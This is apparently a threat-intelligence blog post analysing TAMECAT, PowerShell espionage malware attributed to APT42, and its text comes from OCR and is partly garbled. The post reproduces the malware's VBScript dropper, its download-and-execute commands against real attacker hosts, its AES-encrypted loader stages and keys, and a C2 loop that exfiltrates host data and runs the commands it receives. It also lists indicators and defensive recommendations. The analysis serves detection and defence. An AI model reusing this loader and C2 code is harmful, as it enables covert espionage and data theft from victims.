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Artifacts from our analysis are available on our GitHub.

TAMECATIs a PowerShell-based malware that can execute various commands to collect sensitive information. Reporting from the Israel National
Digital Agency, dives into the modular nature of the TAMECAT and its functionality. The malware is used by APT42, an Iranian state-sponsored cyber-
espionage actor, during its espionage operations. Reporting from Israel indicates that TAMECAT was observed being deployed in espionage
campaigns targeting high-value senior defense and government officials. The group leverages social engineering to build rapport with victims over an
extended period before gaining access to their environments. This blog will outline TAMECAT’s capabilities and how it exfiltrates data.

This overview includes:

+ Malware Analysis

* Recommendations

¢ Indicators of Compromise
o MITRE ATT&CK TTPs

Israel’s National Digital Agency shared a breakdown of the in-memory modules available with TAMECAT. This included the ability to extract data from
Microsoft Edge using remote debugging, screen captures, and suspending Chrome for data collection.
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https://github.com/pulsedive-research/resources/tree/main/TAMECAT
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https://govextra.gov.il/national-digital-agency/cyber/research/spearspecter/
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In the analysis, the researchers noted that the malware received commands from a Telegram bot. The malware used messages from the bot to

Figure 1: Details Of TAMECAT's capabilities. Source: Israel National Defense Agency.

download additional scripts.

Suspicious Command
Keyword

Invest

Scene

Look

Cnvrt

Trsdls

Anchor

Trnspt

#Journey

Associated Domain

eaggcz2fj7yzqdzx97196[. Jdarijo-bosanac-dl[. Jworkers[. Jdev

2tv995jjg6cx679bspy[ . Jdarijo-bosanac-dl[ . Juorkers[. Jdev

mvwmh7pxxd33375gj9wwijhcmbk[ . Jdarijo-bosanac-dl[. Jworkers[. Jdev
27ehoddkc8t7jer4aics5uh3[. Jdarijo-bosanac-dl[ . Juworkers[. Jdev

w5Tb5Sr3txrsvga7zot9uzs4k[. ]Jdarijo-bosanac-dl[. Juworkers[. ]dev

Used to set decryption key

Figure 2: Domains observed by Israel's National Defense Agency. Source: Israel National Defense Agency.

Malware Analysis

The intrusion sample that we analyze in this blog starts with a VBScript script that downloads TAMECAT's first stage. This script checks which antivirus

products are running on the system. This check determines whether the script uses conhost and PowerShell or cmd.exe and curl to download the

second stage. The sample used in this analysis is available on VirusTotal.

SHA256  5404e39f2f175a0fc993513ee52be3679a64c69c79e32caab56fbb7645965422

SHA1 3fd06c930ddc4b1914151f69454c087a42413a24

MD5 d7bf138d1aa2b70d6204a2f3c3bc72a7

ssdeep 24:W/AnDhKaG2Ds6w8NIrZ50GPeAbqgf+PvENPB3B3CNdHPdYqgf+PveBE:YghhG2D68NVfOGPLZVEN9hUhOveE
File Size  1.25 KB

File Type VBA
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https://govextra.gov.il/national-digital-agency/cyber/research/spearspecter/
https://govextra.gov.il/national-digital-agency/cyber/research/spearspecter/
https://www.virustotal.com/gui/file/5404e39f2f175a0fc993513ee52be3679a64c69c79e32caa656fbb7645965422/details

If

End

If

End

When the VBScript

CutputCom = ™"
Set objWMIService = GetObject ("winmgmts: {imperscnationlevel=impersonate] '\\.\root\SecurityCentera™)

ocbjWMIService iz Nothing Then
Wscript.S5tdOut.Write "NULL"

Else

Set installedBntiviruses = cbjWMIService.ExecQuery("Select * from AntivirusProduct™)
count=0
list=""
For Each antiwvirus in installedintiviruses
If antivirus.productState And sh01000 Then
count=count+1l
list=1list & VBNewLine & antivirus.displayName
End if
Next
If count = 0 Then
QutputCom = OutputCom & "NOT_FOUND"
Else
CutputCom = OutputCom & list
End if
if

InStr({CutputCom, "indows™) then

windifcom = "conhost conhost powershell.exe -w 1 -c ""$f=(wget -Uri https://s3.tebi.io/icestorage/config/noconf.txt
-UseBasicParsing) .Content; &(gcm Ye-s?p¥)sf™m ™

Set objShell = wscript.createckject("wscript.shell"™)
Set oE = objShell.Exec(windifcom)

Elsze

windifcom = "cmd.exe /c set c=cufrl --sS%sl-no-revioke -3 -d ""il=aaaasEFl=2m.txteWFl=test.pdf"™ -X POSST
http://tnt200.mywire.org/Dol -o $temp$\2m.vibs & call $ci%=% & set b=stal%ct """" ""itemp3\2m.vibs™" & call %bh:i%=%"
Set okjShell = wacript.createckject ("wacript.shell"™)

Set oE = ckjShell.Exec({windifcom)

14

Figure 3: VBScript used to download TAMECAT.

file is executed, it uses WMI to retrieve a list of installed antivirus products on the host. The returned list is then used to determine

which scripting interpreter is used to download the second stage. If the antivirus list contains “indows”, the VBScript uses conhost to launch
PowerShell. The PowerShell script uses wget to download the loader TAMECAT (081419a484bbf99f278ce636d445b9d8). Once the file is

downloaded, the sc

I1f

ript is executed using PowerShell. The script uses an obfuscated command to execute the downloaded PowerShell Script.

InStr{futputCom, "indows™) then

windifcom = "conhost conhost powershell.exe -w 1 -c ""$f=(wget -Uri https://s3.tebi.ic/icestorage/config/nconf.txt
-UseBasicParsing) .Content; &(gcm *e-s?p¥)sf"™" "

Set objShell = wscript.createckject ("wscript.shell"™)
Set oE = objShell.Exec(windifcom)

Figure 4: Code used to launch PowerShell and download TAMECAT.

{gcm Ye-epk):

Figure 5: Obfuscated Invoke-Expression command.

This obfuscated command decodes as the following:

Obfuscated Comm

and Deobfuscated Command

gcm

Get-Command

*e-e?p*

Invoke-Expression

If the antivirus list does not contain Windows, then the VBScript uses cmd.exe and curl to download another piece of malware. At the time of analysis,
the link was down, so the payload could not be analyzed.

Else

End

windifcom = "cmd.exe /c set c=cufrl --sS%sl-no-revioke -3 -d ""il=aaaasEFl=2m.txtsWFl=test.pdf"" -X P0S5T
http://tnt200.mywire.org/Dol -o $temp®\2m.vibs & call %c:%=% & set b=stald%et """" ""itemp}‘\2m.voks™" & call %b:9=%"
Set objShell = wscript.createckject("wscript.shell"™)

S;t oE = objShell.Exec (windifcom)

I

Figure 6: If the computer does not contain Windows within the AV list, it uses curl to download a secondary payload.

Nconf.txt (TAMECAT PowerShell Loader)

This is the TAMECAT loader that was hosted on tebil.]io. This script contains several variables containing arrays of values, as well as two functions.
The functions are used to decode data and execute additional code. The sample is available on Triage and VirusTotal.

SHA256  bd1f0fb085c486e97d82b6e8ach3977497c59c3ac79f973f96¢395e7f0cad7f8
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https://tria.ge/240814-t493jsscke/static1
https://tria.ge/240814-t493jsscke/static1

SHA1

Oef4f7a8d7b1d34e10faalbcaldcb76a518dd417

MD5

081419a484bbf99f278ce636d445b9d8

ssdeep

192:ENampkg6c3iKtzY C4+HxeycEUj/PvOw7EczGRThbD5eROPURDcEaocY62DFRWJCXu:1a8h3BKDWx2IszGN5DeOPURwvoX2RRY

File Size

10.34 KB

File Type

PowerShell
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Figure 7: Code of the nconf.txt.

function bbsert($textifile) |
return [System.Text.Encoding]::UIFS.GetString([System.Convert] : :FromBased4String(ftextifile.substring(3)))
b
function Gorba |
param(steld, $klaey);
twc = New - Object system.Net.WebClient;
swc.Headers['User-Rgent'] = "Mozilla/5.0 (Windows NT 10.0;
Wingd;
x64) BppleWebKit/537.3¢ (KHIML, like Gecko) Chrome/119.0.0.0 Safari/S537.36";
while (1) {

try {
s0utRes = $we.downloadString ((bbsert 'pepaHROcHMELy9zMyS0ZWIplmlvLl2ljZEN0L3Thi 2UvEGYzMnMudHh0™) ) ;
break
1} catch {
Start - Sleep - 8 87
Continue
}

5
sbytes0fRes = [Convert]::FromBase6dString ($0utRes);
for (31 = 0;
%1 - 1t $bytesCfRes.Length;
Fit+) |
shytes0fRes[$1i] = [Convert]::ToByte(([Convert]::ToString({ - bnot ($bytes0fRes[$i]), 2).5ubstring(24, 8)), 2)
5
5LastEx = [System.Text.Encoding]::UTFS.GetString ($hytes0fRes);
s{{gcm ¥ w2k? - 2x?re ¥ ).name) $LastEx;
Borjol "stel2"

Figure 8: Functions within nconf.txt PowerShell Script.

The Gorba function defines two parameters called $te12 and $ki2ey. The values of these parameters are defined at the end of the script and are
shown in the table below.
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Gorba - tel2

" v+UDKE4 TmBGgYgThO0X jXVDEMzhZenTEVEGCExQFp2+A1 PHMvmA 2584 11 B4 r0i 8 £ fxWdXFt rPk6UABW1 b 6oBPsW1VV/HNUOmE 8 JH7xs0BRHYS Spéwd
YcTHGZ 65707 2KIH/hOyB155wc 7Y 8 éwlIR9naW+0nINCYZVERYDSt/ f£DpgEoRYWEdHwoebLECKECk/NSC1ihl1 FHaoS510KS£graHISiRiT 6pfpgUieJH
bY¥z3VYuo/j2FZ6E£5BCIgXoHKPmE4pUSwSZHIq0SaS8blmdhH+tGTc3AUET 6T HedxkzxA1d0/ 4b97ducI 6rm+Ucy3rRHHrVRPOOTwvTvudD/ LOBwWn3
DENcESTOVEQDWIgni/MUI7BOwWk1cE1+qQ]abXTGr+CrL0cS 3dNA40GN Y kBANLok] coNxEmxbCSK305dFEz2+htgPMOj gl 4IGoPSOWCEX2CVE" -
klzZey "T2rlOylMlelnloOwl®'

Figure 9: AES encrypted code within nconf.txt.

Parameter Value

$te12 v+UDXK47mBGgYqTbOXjXVD6MzhZenTfVI6CKxQF p2+AiPHMvmA2a4liBz4rOi8fixWdXFtrPk6 UABw1b60BPsW1VV/HNUOmMf8jH7xsoBAH

$k12ey T2r0y1M1e1n10o0w1

The value stored in the $k72ey parameters is the same one identified by Volexity in a variant of PowerStar. The Yara rule shared by Volexity closely
matches the commands observed in this analysis.

From there, the script attempts to download the next stage of TAMECAT from a base64-encoded URL. The PowerShell script uses a hardcoded user-
agent within the network traffic. The script uses the downstring command to retrieve text from tebil.]Jio. The URL is base64-encoded in the script, and
before it is decoded, the script drops the first 3 bytes of the encoded string. The file attempts to download text within a file called df32s.txt, which holds
base64-encoded content.

Recipe ~ Ol B Input
epaHRBcHMELY9zMySeZWIpLmlvL21ZXNeb3IhZ 2UvZGYzMnMudHh
Drop bytes ~ Q u pep y9zMy P J o
Start Length
] 3 |:| Apply to each line
From Base64 ~ Qn
Alphabet
A-7a-z0-9+/= - Remove non-alphabet chars
|:| Strict mode
mc 55 = 1
Output

https://s3.tebi.io/icestorage/df32s.txt]

Figure 9: The encoded URL stored within the PowerShell file.

User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/119.0.0.0 Safari/537.36

|quRnIuMk]vaZCN1ZCThPWPnoZektfbinlZS?Fwt+kr]qciozwiabRuI2Gj4uQmIZejSeGebﬁajKLFxbmepﬁLmtfwgdueaszkaUPJaFmtfc38?NfobntG
BmoasloWa38LfzcrloduYk5CdnpPFusCSnpaR38Lf3Zel i4+MxdDQnpycio2eisrSjI+NkIqLeo+QjY+Qloya@ZiTloucl965mt3125iTkI2ekBWNj56b38LF3d
3125iTk12ekBWGmpCTjICa38LF3ZSxhc+8p5avz4iarpGXpasmnyminpaypdmtqaa31lMeo 3fxbntGemobfut+kisqHioGakZyOmSaRmKLFxagrucfRuJglvyYalm
0zX3ZSxhc+8p5avz4i6rpGXpaemnYminpaYpdmtqaa3lMe23dbl257Rtgnfwt+kisgHi%GakZyQm5aRmKLFxagrucfRulglvYalmozX3c+rxo30hseyzZrPsc+Q
zojd1vXbnd/C39uedbyNmp6LlmruanI2Gj4uQjdfbntGemobT257R1onWoduSmpKWlsKxmojSsI2VmpyL39Krho+asZ65Smi+2sNGympKQjYasid2anpLferenmIq
SmpGLs5aMig+/19PXplyQkYmajYuixcWsjZCSvZeMmsnLrIuNlpGY19uL1tboducmpkWl sKxmojSs12Vmpy L39Krho+asZ65smt+smpyKjZaLhtGEjyaPisCyjz
6P14bRvI2G4uQrIuNmp6S39K+iZikkpqRi70WjIvivefbkpgSlpbT253TpKyanIghilouG@byNho+LkIiNno+XhtG8jYaPisCsid2anpKykIJuaosXFrZgemobl2
AyakpaW38LfsZqlercdlZqcis/SqdaPmrGekprftrORrIuNmpeSrZgemSqi38K+jZikkpgRIi70W]IvfvafbnlgqSslpblWadnXmIyS3oWUmtKaldbf24yakpalidaza
npurkLgRm9fWoduMmpKWltGEk5CMmtfWAducmpKWltG8k5CMmt fWAduSmpKWLtGEkSCMmt fWodueBbyTmpeN19blgg==

Figure 10: Content hosted on the encoded URL.
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https://github.com/volexity/threat-intel/blob/main/2023/2023-06-28%20POWERSTAR/indicators/rules.yar

function bbsert(ftextifile) {
return [System.Text.Encoding] ::UTFE.GetString([System.Convert] : :FromBased45tring (ftextifile.substring(3)))
b
function Gorba |
param(fteld, $klaey);
swc = New - Object system.Net.WebkClient;
swc.Headers['User-Rgent'] = "Mozilla/5.0 (Windows NT 10.0;
Wingd;
x64) RppleWebKEit/537.3¢ (EHIML, like Gecko) Chrome/119.0.0.0 Safari/537.36";
while (1) {
try {
s0utRes = $we.downloadString((bbaert 'pepaHROcHMELy9zMyS0ZWIplmlvLl2liZEN0L3Thi 2UvZGYzMnMudHh0") ) ;
break
1} catch {
Start - Sleep - 3 37
Continue

i

tbytes0fRes = [Convert]::FromBase645tring ($0utRes);
for (31 = 0;

i - 1t 5$bytesOfRes.Llength;

Fi+d) |
sbytes0fRes[$i] = [Convert]::ToByte{([Convert]::ToString({ - bnot ($bytes0fRes[$i]),

2).Substring(24, 8)), 2)
IH

5LastEx = [System.Text.Encoding]::UTFS.GetString ($hytes0fRes);

s{{gcm ¥ w?k? - 2x?re ¥ ).name) $LastEx;

Borjol "stel2”

Figure 11: Data manipulation code used to transform the encoded data.
The script base64-decodes the file's contents and then performs the following actions on each byte:

o Perform a bitwise not on each bit and convert to base2
» Convert to a string and extract 8 characters starting from the 24th character

« Convert to Byte

Once this manipulation is complete, the script converts the bytes to a UTF-8-Encoded string.
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> SLASEEX

sgraphy. Aes] : :Create()

agraphy . CryptoStreasMode]

$3cmii. ReadTokE

function Borjol {

param($t)

$a = [Security.Cryptography.Aes]::Create()

$a.BlockSize = 128

$a.KeySize = 256

$global:Domain = “https://accurate-sprout-porpoise.glitch.me”
$global:ipad = ""

$global:yeolsoe = "kNz@CXiP@wEQnhZXYbvraigXvRVYHk1B"

$a.Key = [text.encoding]::UTF8.GetBytes("kNz@CXiPOwEQnhZXYbvraigXvRVYHk1B")

$a.IV = [text.encoding]::UTF8.GetBytes("0TorlylM2eBNBO1w™)

$b = $a.CreateDecryptor($a.Key, $a.iv)

$memii = New - Object - TypeName IO.MemoryStream - ArgumentList @(, ([convert]::FromBase64string($t)))
$cemii = New - Object - TypeName Security.Cryptography.CryptoStream - ArgumentList @($memii, $b,

[Security.Cryptography.CryptoStreamMode]: :Read)

$semii = New - Object - TypeName IO.StreamReader - ArgumentlList @($cemii)
&(gcm * ke - e * ) $semii.ReadToEnd()

$semii.Close()

$cemii.Close()

$memii.Close()

$a.Clear()

Borjol "$tel2”

P Pulsedive

Figure 12: The decoded Borjol function.

The decoded content reveals an additional function that is executed with the value stored in $te12. This function defines an AES decryptor used to
decrypt the value stored in $te12 after it is base64-decoded.

AES Settings Value

Block Size 128

Key Size 256

Key kNzOCXiPOWEQnhZXYbvraigkvRVYHk1B
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Recipe
From Base64

-0+f=

[ strict mode

ey

khz@C}iPOWEQrhIXY...

M
CEC

UTF& ~

0T9r1y1M2e0NOo1w

~dmE  nput + 0Oz =

A~ & on

B remave non-alphabet chars

\-
BTerlylMIicBMNAclw

Raw

wHLDNE S T GEY g ThOX jXVDEMzhZen TRV FECK o Fp2 s A1 PHvmiZ 24 1 1Bz 4r0] 2 FakddFt riPk GUABWLbGOBPSWIVY HNUERTE JHT xSoBAHYESpEud Yo THEZGSYD
TIETH/ hOYR T S5MC TYREW WY TVERYDST FOpl nabl ECKECk/NSC11h ] FHA0S510KS T EraHT 51R1TapFpgUMaIHbYz 3 vuo,/ {2FT6TSECT
EXOHKPRTApliSws IHBgDS a08b IndAH+LGT jr AMETEIHxAxk 1A 100y 8ba T duo TErme Ui ¥ 2 rRHHrYNPQE Ty Tyud Dy LDBwn 20kNc KSTOWEQDWIgni /MUTBOwE 1 E
1403 D TERCrLBCS 3NAIDGNYKBANL 0k jroNKmebCSE 30545 F 72 ht gPN0 1 ATBoRSOKC PR 2OV

- W ] Tr ke EVtes 4e LF

Qutput a rD

Borjol(fwvp[a]efume[2]+Snuk[ 3]efwrl[2]+fgzk [4])+fniz[@]eSthk[2]+Shga[a@]+Syoe[4 ]+ B jwv[B]efywa[@] e fuxi[5]+$buS[ 12 ]+ Bkgu[1]+nd
L[@]+5ruz[3]+8byn[3]+55Jal2] +5wqf (@] +5wof[2 |+Smga[1 +5rf1[5+503] L1]+5qgv 2 [+5 5[0 +5111[ 1]+ 5owd[ 4] +5102[ 6] +Snkb[ 2| +5zen|
Tlt$sra[e]+$tas[e] +Skgs[a]rSesk[8]1cid[S]Boyx[B]rSical 1] +fxyS[1]+Suvl[a]}

[Borjol($uvp[5]+$xme[2]+$nuk[3]+5vrl[3]+Sgzk[4]+8ni2[@]+5tkk([2]+5kga[@]+Syoe[4]+5jwv[@]+Sywa[@]+$sxi[5]+$bwo[12]+Skgu[1]+$md
i[@]+$ruz[3]+3byh[3)+3sja[3]+Pugf[@]+Pwof[2]+$mga [1]+5rfi[5]+8dto[11])+5qgv[0]+5jt5[@]+511i[1]+Sowd[4]+51p2[6]+Swkb[2]+5zen[
7]+$sro[@]+$tad[0]+5kgo[@]+$esk[B]+Fcia[5]+foyx[@]+Fico[1]+Fxyo[1])+Fvvi][@])

This decoded string is passed to the Borjol function.

0 sarict mode
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e
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— - g (D it Ty T faetecten) e 00
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N BCKEFBwEQnhIXY..

uTRE =

¥ Pulsedive

Figure 13: Decrypted data from Figure 9.
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Figure 14: Decoded content from Figure 13.

This decrypted data contains functions that manipulate data in the following ways.
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Function Name Description

Borjoly Decodes base64-encodes data and then decrypts it
using AES

Borpos Encrypts data using AES

X Converts a base64-encoded character and

encodes it into a UTF8-encoded string

XS Generates a random 16-character string

The PowerShell script uses these functions to manipulate data while attempting to exfiltrate it. The script writes an alphanumeric string, which Google
believes to be a victim identifier to %LocalAppData%\config. txt.

sconfigtxt = "GILNHOLXETCISVIZZISUF"

$fileconfigtxt = $env:LOCALAPPDATA + ™\config.txt™;
sconfigtxt | out - File $fileconfigtxt

Figure 15: Unique identifier being stored within config.txt.

The script then creates a new directory called Chrome in %LocalAppData%. From there, the script defines the sessionurl, the hostname used for
network communication. The value for this parameter is a hxxps://accurate-sprout-porpoise[.]glitch[.]me, which was defined as a global
parameter in the function Borjol.

ni - Path "#env:LOCALAFFDATAN\" - Name "Chrome™ - ItemIype "directory™ - Force | Out - Hull
snumip = 0
%5essionlrl = $Domain;
while ($true) {
if ($loopCount - =g 3) {
SloopCount = 0
fnumip = fnumip + 1
if ($numip $ 2 - eg 1 - and Sglobal:ipad) {
$5essionlrl = $global:ipad
1 else |
#5essionlrl = $Domain;

}

Figure 16: Code used to define the SessionUrl using parameters from the Borjol function.
From there, the script collects details about the operating system, including:

« OS
o ComputerName
o Token (GILNHILX6TCZ9V8ZZSUF) - the value specified in the $configtxt parameter.

This data is then passed to the Borpos function for encryption before being exfiltrated via a POST request to the domain hxxps://accurate-sprout-
porpoise[.]glitch[.]me. The key is the value kNzoCXiPOWEQnhZXYbvraigXvRVYHk1B, while the initialization vector is created using the xs function.
The script also adds the header content -DPR, which stores the IV value.

function Borpos |
param({$t, $k, $Ve)
= [Security.Cryptography.lhes]::Create()

o
o

$a.BlockSize = 128

sa.HeySize = 256

sa.Hey = [text.encoding]::UTFS.GetBytes(sk)
$a.IV = [text.encoding] : :UTF2.GetBytes ($Ve)

$b = %a.CreateEncryptor ($a.Eey, $a.iv)

smem = New - Object - TypeName IO.MemoryStream

scem = New - Object - TypeName Security.Cryptography.CryptoStream - Argumentlist @($mem, $b, [Security.Cryptography.CryptoStreamMode]::Write)
s3em = New - Object - Typelame IO.StreamWriter - Lrgumentlist @(scem)

S3em.Write(5t)

$3em.Close ()

echo ([conwvert]::ToBasedé4String(fmem.Tokrray()))

scem.Close()

smem.Close ()

fa.Clear()

Figure 17: Code of the Borpos function.
function xs() {

return - join ((65..90) + (97..122) | Get - Random - Count 16 | % {
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[char]$_

}

The malware then waits for the C2’s response. If the status code is not 400 and the response is not empty, then the script calls the Borjoly function to
decode the response from the C2. The data is separated by { and contains the following four values:

* language
¢ Command
e ThreadName
o StartStop
function Borjoly [

param({$t, %k, &Ve)
a = [Security.Cryptography.Res]::Create()

ot

$a.BlockSize = 128

sa.HeySize = 256

sa.Hey = [text.encoding]::UIFS.GetBytes (5k)

5a.IV = [text.encoding] : :UTFE.GetBytes (§Ve)

ik = fa.CreateDecryptor(fa.Eey, £a.iv)

smem = New - Object - Typelame I0.MemoryStream - Argumentlist @(, ({[conwvert]::FromBaseddString(st)))

scem = New - Object - TypeName Security.Cryptography.CryptoStream - Argumentlist @($mem, $b, [Security.Cryptography.CryptoStreamMode]::Read)
$3em = New - Object - TypeName IO.StreamBeader - Argumentlist @({$cem)

echo $sem.ReadToEnd()
$3em.Close ()
scem.Close ()
smem.Close ()
Fa.Clear()

Figure 18: Code of the Borjoly function.

The command is in base64-encoded format. Google identified that the $Language parameter will be used to execute either PowerShell or C# code,
and the $StartStop will be used to download additional content, execute, or terminate a command.

11/14


https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations

Conclusion

#loopCount = 0
[string] $Baseéd4SessionResponse = $http request.responselext
if ($http request.status - ne 400 - and $Basef4SessionResponse - ne ") |
$5essionResponse = Borjoly - t $Base6dSessionBesponse - k $yeolscel - Ve Sve;
sCommandParts = $5essionResponse.Split(™1");
[string]$CommandPart = "";
Foreach ($CommandPart in $CommandParts) |
if (#CommandPart - ne "-" - and $CommandPart - ne "") |
[string[]]%arr = $CommandPart.Split{"~");
[string]#language = $arr[0];
[string] $Command = [System.Text.Encoding]::UTFS.GetString ([System.Convert] ::FromBaseadString (Sarr[1]))
[string]$Threadlame = Sarr[2];
[string] $StartStop = #arr[3];
if ($5tartStop - ne "-" - and $5tartStop - ne "") |
if (#language - like "*owers*") |
if ($5tartStop - like "%wnloaduti*™) |
&f{gcm * ke - e ¥ ) $Command;
} elseif ($5tartStop - eg "start™) |

$Command = $Command.Replace (' numone ', Snumone)
sCommand = $Command.Replace (' macd 'y Fmac)
sCommand = $Command.Replace (" yeolsoe ', syeolsoe)
#Command = $Command.Replace(’ v Ty sV

$3criptBlock = [Scriptblock] ::Create ($Command)

Start - Job - ScriptBlock $scriptBlock - Name $ThreadName
} elseif ($5tartStop - =g "stop™) |

&f{gcm * ke - e ¥ ) $Command;

1

} elseif (%language - like "*shar*") |
if (s5tartStop - &g "start") [

#ScriptBlock = |
Param |
[string] [Parameter (Mandatory = $true)] $Command
)
Add - Type #Command
[AppProject. Program] : :Main ()

3

Start - Job $5ScriptBlock - Argumentlist $Command - Name $Threadiame
} elseif ($5tartStop - =g "stop™) |
&f{gcm * ke - e ¥ ) $Command;

1

Figure 19: Code that is run based on the response from the C2 server.

TAMECAT is a PowerShell-based malware used by APT42 during its espionage campaigns. It has gone through several iterations, with different
variants sharing several similarities. These similarities include the use of Base64-Encoded strings within arrays, the use of array fragments to generate
code, and PowerShell string replacement and wildcards. The developers behind TAMECAT have also been observed using platforms such as Discord
and Telegram as C2 channels.

TAMECAT

Observed similarities across variants

Use of Use of array PowerShell string
Base64-Encoded fragments to replacement and
strings within arrays generate code wildcards
P Pulsedive
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Recommendations

Methods to mitigate the risks posed by malware, such as TAMECAT, include:

« Deploy EDR/AV solutions: EDR or AV solutions can detect malicious process chains and anomalous activity that may indicate a malware
infection.

» Monitor for wscript launching other scripting interpreters: VBS scripting launching PowerShell or cmd.exe is often suspicious.

« Expand PowerShell logging: Consider enabling script-block logging to ensure security analysts can see the contents of scripts that were
executed.

+ Secure PowerShell in Corporate Environments: Organizations can enforce script execution policies that allow only signed scripts to run.
Moreover, PowerShell usage should be restricted to users who need to use it.

o User Education: Users can help mitigate the risk of phishing emails and targeted social engineering campaigns. Users should also be wary of
unsolicited attachments or senders that pressure them to open attachments or download files.

)
v

The Australian Signals Directorate has released guidance on Securing PowerShell in the enterprise.

Indicators of Compromise

The table below lists TAMECAT network I0Csthat have been identified and added to the Pulsedive platform. This data can be queried in Pulsedive
using the Explore query threat=TAMECAT and is available for export in multiple formats (CSV, STIX 2.1, JSON).

TAMECAT 10Cs

hxxps[://]s3[.]tebi[.Jio/icestorage/config/nconf].]txt

hxxps[://]s3[.]tebil.]io/icestorage/df32s].]txt

hxxps://accurate-sprout-porpoise[.]glitch[.]Jme

MITRE ATT&CK TTPs

Technique Tactic

Command and Control Application Layer Protocol: Web Protocols
(T1071.001)
Data Encoding: Standard Encoding (T1132.001)
Ingress Tool Transfer (T1105)
Encrypted Channel: Symmetric Cryptography
(T1573.001)

Defense Evasion Deobfuscate/Decode Files or Information (T1140)
Obfuscated Files or Information:
Encrypted/Encoded (T1027.013)

Discovery Software Discovery: Security Software Discovery

(T1518.001)

System Information Discovery (T1082)
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https://www.cyber.gov.au/sites/default/files/2025-03/Securing%20PowerShell%20in%20the%20enterprise%20%28October%202021%29.pdf
https://pulsedive.com/explore/?q=threat%3DTAMECAT

Execution User Execution: Malicious File (T1204.002)

Windows Management Instrumentation (T1047)

Command and Scripting Interpreter: PowerShell
(T1059.001)

Command and Scripting Interpreter: Windows
Command Shell (T1059.003)

Command and Scripting Interpreter: Visual Basic
(1059.005)

Exfiltration Exfiltration Over C2 Channel (T1041)
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